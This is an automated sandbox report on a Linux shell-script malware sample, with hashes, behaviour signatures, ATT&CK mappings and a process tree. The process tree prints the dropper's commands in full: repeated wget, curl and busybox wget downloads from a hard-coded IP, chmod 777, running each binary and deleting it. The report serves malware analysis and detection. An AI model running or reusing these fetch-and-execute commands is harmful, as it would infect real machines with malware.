a0bc5dc0b863bdc4f8d16130fdc188d0d6efaa6ddc8a2946c00955a921e109b3

Analysis

max time kernel
39s
max time network
45s
platform
debian-9_armhf
resource
debian9-armhf-20240418-en
resource tags

arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
13/11/2024, 02:44

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General

Target
a0bc5dc0b863bdc4f8d16130fdc188d0d6efaa6ddc8a2946c00955a921e109b3.sh
Size 10KB
Sample241113-c762maverb
SHA256 a0bc5dc0b863bdc4f8d16130fdc188d0d6efaa6ddc8a2946c00955a921e109b3
MD5 c6380198a4eb360c18933fd0f28f265d
SHA1 e2a3ec22e0098d4f0eeb6b9e9adc44324503badc
SHA512 157cec11202a896287b347a14a61e68568ee82530550303804dd9291e16d6a7f809a8e190ddaf302f766d567ad20e4ef4de87146546ac00fb335f946dcbbed22
SSDEEP 192:BAAcZvgoQIaVUqRSCyNpyrLLBSCyNp6eAcRgoQIaVp:BAAcZvgoQIaVUIrqAcRgoQIaVp
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 6 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
773	chmod
779	chmod
785	chmod
793	chmod
754	chmod
763	chmod

Executes dropped EXE 6 IoCs

ioc	pid	Process
/tmp/5e8xYf6xyAIvOJJBuSSWbyAww6mPNROkcq	755	5e8xYf6xyAIvOJJBuSSWbyAww6mPNROkcq
/tmp/LCGmKzqqxrEJyfyEeDEvfuNBnKrQ9trFoy	764	LCGmKzqqxrEJyfyEeDEvfuNBnKrQ9trFoy
/tmp/uSKkIfBb4wrsy8Z7GmaQn8xQ4DRG0gBhBN	774	uSKkIfBb4wrsy8Z7GmaQn8xQ4DRG0gBhBN
/tmp/lhM9wGmuN8Il95azrLqel00lKIlESzdN8Z	780	lhM9wGmuN8Il95azrLqel00lKIlESzdN8Z
/tmp/jdIJj905VwcOvJdo5gyfTRjKhfYdVNZrZs	786	jdIJj905VwcOvJdo5gyfTRjKhfYdVNZrZs
/tmp/I5C6cKl34Ei0uavRytnkmRWbkvV2cHn7xY	794	I5C6cKl34Ei0uavRytnkmRWbkvV2cHn7xY

Checks CPU configuration 1 TTPs 6 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 12 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/jdIJj905VwcOvJdo5gyfTRjKhfYdVNZrZs	curl
File opened for modification	/tmp/I5C6cKl34Ei0uavRytnkmRWbkvV2cHn7xY	curl
File opened for modification	/tmp/5e8xYf6xyAIvOJJBuSSWbyAww6mPNROkcq	curl
File opened for modification	/tmp/LCGmKzqqxrEJyfyEeDEvfuNBnKrQ9trFoy	curl
File opened for modification	/tmp/uSKkIfBb4wrsy8Z7GmaQn8xQ4DRG0gBhBN	curl
File opened for modification	/tmp/lhM9wGmuN8Il95azrLqel00lKIlESzdN8Z	curl

/tmp/a0bc5dc0b863bdc4f8d16130fdc188d0d6efaa6ddc8a2946c00955a921e109b3.sh
/tmp/a0bc5dc0b863bdc4f8d16130fdc188d0d6efaa6ddc8a2946c00955a921e109b3.sh
1⤵
PID:646
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:648
- /usr/bin/wget
  wget http://216.126.231.240/bins/5e8xYf6xyAIvOJJBuSSWbyAww6mPNROkcq
  2⤵
  PID:651
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/5e8xYf6xyAIvOJJBuSSWbyAww6mPNROkcq
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:676
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/5e8xYf6xyAIvOJJBuSSWbyAww6mPNROkcq
  2⤵
  PID:735
- /bin/chmod
  chmod 777 5e8xYf6xyAIvOJJBuSSWbyAww6mPNROkcq
  2⤵
  - File and Directory Permissions Modification
  PID:754
- /tmp/5e8xYf6xyAIvOJJBuSSWbyAww6mPNROkcq
  ./5e8xYf6xyAIvOJJBuSSWbyAww6mPNROkcq
  2⤵
  - Executes dropped EXE
  PID:755
- /bin/rm
  rm 5e8xYf6xyAIvOJJBuSSWbyAww6mPNROkcq
  2⤵
  PID:756
- /usr/bin/wget
  wget http://216.126.231.240/bins/LCGmKzqqxrEJyfyEeDEvfuNBnKrQ9trFoy
  2⤵
  PID:757
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/LCGmKzqqxrEJyfyEeDEvfuNBnKrQ9trFoy
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:760
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/LCGmKzqqxrEJyfyEeDEvfuNBnKrQ9trFoy
  2⤵
  PID:761
- /bin/chmod
  chmod 777 LCGmKzqqxrEJyfyEeDEvfuNBnKrQ9trFoy
  2⤵
  - File and Directory Permissions Modification
  PID:763
- /tmp/LCGmKzqqxrEJyfyEeDEvfuNBnKrQ9trFoy
  ./LCGmKzqqxrEJyfyEeDEvfuNBnKrQ9trFoy
  2⤵
  - Executes dropped EXE
  PID:764
- /bin/rm
  rm LCGmKzqqxrEJyfyEeDEvfuNBnKrQ9trFoy
  2⤵
  PID:765
- /usr/bin/wget
  wget http://216.126.231.240/bins/uSKkIfBb4wrsy8Z7GmaQn8xQ4DRG0gBhBN
  2⤵
  PID:766
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/uSKkIfBb4wrsy8Z7GmaQn8xQ4DRG0gBhBN
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:768
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/uSKkIfBb4wrsy8Z7GmaQn8xQ4DRG0gBhBN
  2⤵
  PID:772
- /bin/chmod
  chmod 777 uSKkIfBb4wrsy8Z7GmaQn8xQ4DRG0gBhBN
  2⤵
  - File and Directory Permissions Modification
  PID:773
- /tmp/uSKkIfBb4wrsy8Z7GmaQn8xQ4DRG0gBhBN
  ./uSKkIfBb4wrsy8Z7GmaQn8xQ4DRG0gBhBN
  2⤵
  - Executes dropped EXE
  PID:774
- /bin/rm
  rm uSKkIfBb4wrsy8Z7GmaQn8xQ4DRG0gBhBN
  2⤵
  PID:775
- /usr/bin/wget
  wget http://216.126.231.240/bins/lhM9wGmuN8Il95azrLqel00lKIlESzdN8Z
  2⤵
  PID:776
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/lhM9wGmuN8Il95azrLqel00lKIlESzdN8Z
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:777
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/lhM9wGmuN8Il95azrLqel00lKIlESzdN8Z
  2⤵
  PID:778
- /bin/chmod
  chmod 777 lhM9wGmuN8Il95azrLqel00lKIlESzdN8Z
  2⤵
  - File and Directory Permissions Modification
  PID:779
- /tmp/lhM9wGmuN8Il95azrLqel00lKIlESzdN8Z
  ./lhM9wGmuN8Il95azrLqel00lKIlESzdN8Z
  2⤵
  - Executes dropped EXE
  PID:780
- /bin/rm
  rm lhM9wGmuN8Il95azrLqel00lKIlESzdN8Z
  2⤵
  PID:781
- /usr/bin/wget
  wget http://216.126.231.240/bins/jdIJj905VwcOvJdo5gyfTRjKhfYdVNZrZs
  2⤵
  PID:782
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/jdIJj905VwcOvJdo5gyfTRjKhfYdVNZrZs
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:783
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/jdIJj905VwcOvJdo5gyfTRjKhfYdVNZrZs
  2⤵
  PID:784
- /bin/chmod
  chmod 777 jdIJj905VwcOvJdo5gyfTRjKhfYdVNZrZs
  2⤵
  - File and Directory Permissions Modification
  PID:785
- /tmp/jdIJj905VwcOvJdo5gyfTRjKhfYdVNZrZs
  ./jdIJj905VwcOvJdo5gyfTRjKhfYdVNZrZs
  2⤵
  - Executes dropped EXE
  PID:786
- /bin/rm
  rm jdIJj905VwcOvJdo5gyfTRjKhfYdVNZrZs
  2⤵
  PID:787
- /usr/bin/wget
  wget http://216.126.231.240/bins/I5C6cKl34Ei0uavRytnkmRWbkvV2cHn7xY
  2⤵
  PID:788
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/I5C6cKl34Ei0uavRytnkmRWbkvV2cHn7xY
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:789
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/I5C6cKl34Ei0uavRytnkmRWbkvV2cHn7xY
  2⤵
  PID:792
- /bin/chmod
  chmod 777 I5C6cKl34Ei0uavRytnkmRWbkvV2cHn7xY
  2⤵
  - File and Directory Permissions Modification
  PID:793
- /tmp/I5C6cKl34Ei0uavRytnkmRWbkvV2cHn7xY
  ./I5C6cKl34Ei0uavRytnkmRWbkvV2cHn7xY
  2⤵
  - Executes dropped EXE
  PID:794
- /bin/rm
  rm I5C6cKl34Ei0uavRytnkmRWbkvV2cHn7xY
  2⤵
  PID:795
- /usr/bin/wget
  wget http://216.126.231.240/bins/WzPHSy2HH2EF8FcRkesppucBdF1qg5cIEp
  2⤵
  PID:796

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

5e8xYf6xyAIvOJJBuSSWbyAww6mPNROkcq

Path /tmp/5e8xYf6xyAIvOJJBuSSWbyAww6mPNROkcq
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads